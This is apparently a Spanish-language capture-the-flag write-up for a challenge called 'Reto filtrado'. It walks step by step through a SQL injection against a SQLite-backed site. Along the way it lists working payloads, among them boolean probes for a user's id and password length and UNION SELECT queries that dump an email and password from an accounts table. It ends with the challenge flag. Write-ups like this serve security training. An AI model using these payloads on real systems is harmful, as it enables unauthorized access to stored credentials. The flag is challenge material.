Reto filtrado:

1. El primer paso fue ingresar al sitio.
2. Una vez dentro del sitios vemos el comportamiento del sitio a la entrada de parámetros.
3. Se trata de generar un error y ver si se muestra en pantalla.
4. Teniendo en cuenta que es un sqlite, se prueba si es vulnerable a SQLi, para eso se ingresa:
    a. ‘) or 1=1
5. Con esto nos regresa otro correo, esto nos indica que si es vulnerable a la base de datos.
6. Se intentan obtener datos de la base de datos.
7. Obtenemos el id del usuario relacionado con el correo.
    a. ') or email='carlosmora@mail.com' and id = 10--
8. De igual manera obtenemos la longitud de la contraseña.
    a. ') or email='carlosmora@mail.com' and length(password) = 34--
9. Se valida si se pueden mostra valores usando el html del sitio, para eso usamos el id.
    a. ') union select 1,2,3,4,5 from accounts where id = 10--
10. Con lo anterior se sabe que los valores 2 y 4 son mostrados en pantalla y podemos mostrar lo que buscamos en esos campos.
    a. ') union select 1,email,3,password,5 from accounts where id = 10--
11. Esto anterior nos regresa la contraseña del correo en el campo 4.
    a. hackdef{sql_1nj3ct10n_3v3rywh3re!}